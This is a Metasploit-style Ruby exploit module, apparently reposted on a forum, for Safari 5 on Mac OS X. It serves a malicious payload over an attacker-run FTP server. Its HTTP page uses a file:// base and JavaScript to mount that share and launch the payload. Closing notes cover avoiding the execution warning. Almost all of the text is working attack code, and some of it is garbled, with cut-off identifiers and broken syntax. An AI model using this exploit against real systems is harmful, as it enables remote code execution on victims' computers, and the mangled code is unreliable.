escription' => %q{
efaultOptions' =>
isclosureDate' => "Oct 12 2011", #Blog date
efaultTarget' => 0))
ATH", [false, 'The URI to use for this exploit (default is random)']),
[:payload] = regenerate_payload(c).encoded
r
end
#
# Handle FTP LIST request (send back the directory listing)
#
def on_client_command_list(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 Can't build data connection
")
return
end
print_status("Data connection setup")
c.put("150 Here comes the directory listing
")
print_status("Sending directory list via data connection")
month_names = ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', '
ec']
m = month_names[Time.now.month-1]
d = Time.now.day
y = Time.now.year
dir = "-rwxr-xr-x 1 ftp ftp #{@state[c][:payload].length.to_s} #{m} #{d} #{y} #{@payload_name}
"
conn.put(dir)
conn.close
print_status("Directory sent ok")
c.put("226 Transfer ok
")
return
end
#
# Handle the FTP RETR request. This is where we transfer our actual malicious payload
#
def on_client_command_retr(c, arg)
conn = establish_data_connection(c)
if not conn
c.put("425 can't build data connection
")
return
end
print_status("Connection for file transfer accepted")
c.put("150 Connection accepted
")
# Send out payload
conn.put(@state[c][:payload])
conn.close
return
end
#
# Handle the HTTP request and return a response. Code borrorwed from:
# msf/core/exploit/http/server.rb
#
def start_http(opts={})
# Ensture all dependencies are present before initializing HTTP
use_zlib
comm = datastore['ListenerComm']
if (comm.to_s == "local")
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end
# Default the server host / port
opts = {
'ServerHost' => datastore['SRVHOST'],
'ServerPort' => datastore['HTTPPORT'],
'Comm' => comm
}.update(opts)
# Start a new HTTP server
@http_service = Rex::ServiceManager.start(
Rex:
roto::Http::Server,
opts['ServerPort'].to_i,
opts['ServerHost'],
datastore['SSL'],
{
'Msf' => framework,
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
)
@http_service.server_name = datastore['HTTP::server_name']
# Default the procedure of the URI to on_request_uri if one isn't
# provided.
uopts = {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => resource_uri
}.update(opts['Uri'] || {})
proto = (datastore["SSL"] ? "https" : "http")
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0'
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4'
}:#{opts['ServerPort']}#{uopts['Path']}")
end
# Add path to resource
@service_path = uopts['Path']
@http_service.add_resource(uopts['Path'], uopts)
# As long as we have the http_service object, we will keep the ftp server alive
while @http_service
select(nil, nil, nil, 1)
end
end
#
# Kill HTTP/FTP (shut them down and clear resources)
#
def cleanup
super
# Kill FTP
stop_service()
# clear my resource, deregister ref, stop/close the HTTP socket
begin
@http_service.remove_resource(datastore['U
ATH'])
@http_service.deref
@http_service.stop
@http_service.close
@http_service = nil
rescue
end
end
#
# Ensures that gzip can be used. If not, an exception is generated. The
# exception is only raised if the DisableGzip advanced option has not been
# set.
#
def use_zlib
if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!"
end
end
#
# Returns the configured (or random, if not configured) URI path
#
def resource_uri
path = datastore['U
ATH'] || random_uri
path = '/' + path if path !~ /^\//
datastore['U
ATH'] = path
return path
end
#
# Handle HTTP requets and responses
#
def on_request_uri(cli, request)
agent = request.headers['User-Agent']
if agent !~ /Macintosh; Intel Mac OS X/ or agent !~ /Version\/5\.\d Safari\/(\d+)\.(\d+)/
print_error("Unsupported target: #{agent}")
send_response(cli, 404, "Not Found", "<h1>404 - Not Found</h1>")
return
end
html = <<-HTML
<html>
<head>
<base href="file://">
<script>
function launch() {
document.location = "/Volumes/#{lookup_lhost}/#{@payload_name}";
}
function share() {
document.location = "ftp://anonymous:anonymous@#{lookup_lhost}/";
setTimeout("launch()", 2000);
}
share();
</script>
</head>
<body>
</body>
</html>
HTML
send_response(cli, 200, 'OK', html)
end
#
# Create an HTTP response and then send it
#
def send_response(cli, code, message='OK', html=''
proto = Rex:
roto::Http:
efaultProtocol
res = Rex:
roto::Http::Response.new(code, message, proto)
res['Content-Type'] = 'text/html'
res.body = html
cli.send_response(res)
end
end
=begin
- Need to find a suitable payload that can be executed without warning.
Certain executables cannot be executed due to permission issues. A jar file doesn't have this
problem, but we still get a "Are you sure?" warning before it can be executed.
- Allow user-specified port to automount the share
- Allow ftp USERNAME/PASSWORD (optional)
=end
Copyright © 2026, NextGenUpdate.
All Rights Reserved.